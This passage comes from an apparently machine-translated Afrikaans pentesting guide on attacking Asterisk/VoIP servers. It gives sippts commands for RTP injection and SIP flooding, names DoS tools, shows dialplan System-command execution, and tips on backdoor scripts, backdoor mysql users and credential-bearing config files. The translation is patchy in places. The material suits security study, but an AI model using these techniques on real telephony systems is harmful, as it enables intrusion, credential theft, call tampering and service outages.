from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject benut die RTP Bleed kwesbaarheid deur 'n klanklĂȘer (WAV-formaat) in te spuit. ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE In Asterisk slaag jy op een of ander manier daarin om **uitbreidingsreĂ«ls by te voeg en dit te herlaai** (byvoorbeeld deur 'n kwesbare webbestuurder bediener te kompromitteer), dit is moontlik om RCE te verkry met die **`System`** opdrag. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary. {% hint style="warning" %} As die bediener **bepaalde karakters** in die **`System`** opdrag (soos in Elastix) **verbied**, kyk of die webbediener toelaat om **lĂȘers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om 'n **backdoor-skrip** te **skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**. {% endhint %} #### Interessante plaaslike lĂȘers en toestemmings * **`sip.conf`** -> Bevat die wagwoord van SIP gebruikers. * As die **Asterisk bediener as root loop**, kan jy root in gevaar stel. * **mysql root gebruiker** mag **geen wagwoord hĂȘ** nie. * dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep. * **`FreePBX`** * **`amportal.conf`** -> Bevat die wagwoord van die webpaneel administrateur (FreePBX). * **`FreePBX.conf`** -> Bevat die wagwoord van die gebruiker FreePBXuser wat gebruik word om toegang tot die databasis te verkry. * dit kan gebruik word om 'n nuwe mysql gebruiker as backdoor te skep. * **`Elastix`** * **`Elastix.conf`** -> Bevat verskeie wagwoorde in duidelike teks soos mysql root wagwoord, IMAPd wagwoord, web admin wagwoord. * **Verskeie vouers** sal aan die gecompromitteerde asterisk gebruiker behoort (as dit nie as root loop nie). Hierdie gebruiker kan die vorige lĂȘers lees en beheer ook die konfigurasie, so hy kan Asterisk laat laai ander backdoored binaries wanneer dit uitgevoer word. ### RTP Inspuiting Dit is moontlik om 'n **`.wav`** in gesprekke in te voeg met behulp van gereedskap soos **`rtpinsertsound`** (`sudo apt install rtpinsertsound`) en **`rtpmixsound`** (`sudo apt install rtpmixsound`). Of jy kan die skripte van [http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/](http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/) gebruik om **gesprekke** te **skandeer** (**`rtpscan.pl`**), 'n `.wav` na 'n gesprek te stuur (**`rtpsend.pl`**) en **ruis** in 'n gesprek in te voeg (**`rtpflood.pl`**). ### DoS Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik. * **`SIPPTS flood`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS flood stuur onbeperkte boodskappe na die teiken. * `sippts flood -i 10.10.0.10 -m invite -v` * **`SIPPTS ping`** van [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping maak 'n SIP ping om die bediener se reaksietyd te sien. * `sippts ping -i 10.10.0.10` * [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word. * [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer. * [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP pakkette. Dit is nodig om die RTP poorte wat gebruik word te ken (sniff eers). * [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen. * [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse leĂ«rskĂȘr. Kan ook gebruik word om SIP aanvalle uit te voer. * Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper). ### OS Kw vulnerabilities Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS verspreiding** af te laai wat dit reeds geĂŻnstalleer het, soos: **FreePBX, Elastix, Trixbox**... Die probleem met hierdie is dat sodra dit werk, mag stelselsadministrateurs **dit nie weer opdateer nie** en **kw vulnerabilities** sal met tyd ontdek word. ## Verwysings * [https://github.com/Pepelux/sippts/wiki](https://github.com/Pepelux/sippts/wiki) * [https://github.com/EnableSecurity/sipvicious](https://github.com/EnableSecurity/sipvicious) * [http://blog.pepelux.org/](http://blog.pepelux.org/) * [https://www.rtpbleed.com/](https://www.rtpbleed.com/) * [https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4](https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4) * [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf) {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk** **Vind en rapporteer kritieke, exploiteerbare kw vulnerabilities met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel. {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ondersteun HackTricks * Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐩 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}